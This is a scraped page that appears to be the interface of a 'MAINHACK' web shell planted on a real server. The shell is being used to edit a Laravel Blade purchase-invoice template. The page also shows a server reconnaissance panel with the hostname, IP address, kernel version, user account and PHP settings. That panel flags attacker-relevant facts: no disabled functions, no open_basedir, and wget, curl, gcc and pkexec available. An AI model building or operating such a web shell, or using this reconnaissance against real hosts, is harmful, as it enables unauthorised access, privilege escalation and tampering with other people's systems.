[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: purchase-template.blade.php
@extends('template') @section('title') <title>@lang('Purchase Invoice')</title> @endsection @section('receiver-info') <h1>@lang('Purchase Invoice')</h1> <p><strong>@lang('Name'):</strong> {{ $purchase['supplier']['name'] }}</p> @if ($purchase['supplier']['company_name']) <p><strong>@lang('Company'):</strong> {{ $purchase['supplier']['company_name'] }} </p> @endif <p><strong>@lang('Phone'):</strong> {{ $purchase['supplier']['phone'] }}</p> <p><strong>@lang('Email'):</strong> {{ $purchase['supplier']['email'] }}</p> @if ($purchase['supplier']['address']) <p><strong>@lang('Address'):</strong> {{ $purchase['supplier']['address'] }}</p> @endif @endsection @section('pdf-content') <table class="invoice-table">s <tr> <th>@lang('Purchase No')</th> @if ($purchase['po_reference']) <th>@lang('Reference')</th> @endif <th>@lang('Date')</th> <th>@lang('PO Date')</th> @if ($purchase['payment_terms']) <th>@lang('Payment Terms')</th> @endif </tr> <tr> <td>{{ config('config.purchasePrefix') . '-' . $purchase['purchase_no'] }}</td> @if ($purchase['po_reference']) <td>{{ $purchase['po_reference'] }}</td> @endif <td>{{ $purchase['purchase_date'] }}</td> <td>{{ $purchase['purchase_date'] }}</td> @if ($purchase['payment_terms']) <td>{{ $purchase['po_reference'] }}</td> @endif </tr> </table> <table class="invoice-table"> <tr> <th>@lang('Item')</th> <th>@lang('Quantity')</th> <th>@lang('Price')</th> <th>@lang('Subtotal')</th> </tr> @foreach ($purchase['purchaseProducts'] as $key => $product) <tr> <td>{{ $product['product']['name'] }}</td> <td>{{ $product['quantity'] . ' ' . $product['product']['productUnit']['code'] }}</td> <td>@currency($product['unit_cost'])</td> <td class="text-right">@currency($product['unit_cost'] * $product['quantity'])</td> </tr> @endforeach <tr> <td class="total" colspan="3">@lang('Subtotal')</td> <td class="total">@currency($purchase['sub_total'])</td> </tr> @if ($purchase['purchaseReturn']) <tr> <td class="total" colspan="3">@lang('Cost of Return Products')</td> <td class="total">@currency($purchase['purchaseReturn']['total_return'])</td> </tr> @endif @if ($purchase['discount']) <tr> <td class="total" colspan="3">@lang('Discount')</td> <td class="total">@currency($purchase['discount'])</td> </tr> @endif @if ($purchase['transport']) <tr> <td class="total" colspan="3">@lang('Transport')</td> <td class="total">@currency($purchase['transport'])</td> </tr> @endif @if ($purchase->taxAmount()) <tr> <td class="total" colspan="3">@lang('Tax')</td> <td class="total">@currency($purchase->taxAmount())</td> </tr> @endif <tr> <td colspan="3" class="total">@lang('Total')</td> <td class="total">@currency($purchase->purchaseTotal())</td> </tr> <tr> <td colspan="3" class="total">@lang('Total Paid')</td> <td class="total">@currency($purchase->purchaseTotalPaid())</td> </tr> <tr> <td colspan="3" class="total">@lang('Total Due')</td> <td class="total">@currency($purchase->totalDue())</td> </tr> @php $accountReceivable = isset($purchase['purchaseReturn']['returnTransaction']) ? $purchase['purchaseReturn']['returnTransaction']['amount'] : null; @endphp @if ($accountReceivable) <tr> <td colspan="3" class="total">@lang('Account Receivable')</td> <td class="total">@currency($accountReceivable)</td> </tr> @endif </table> @endsection
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.88 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002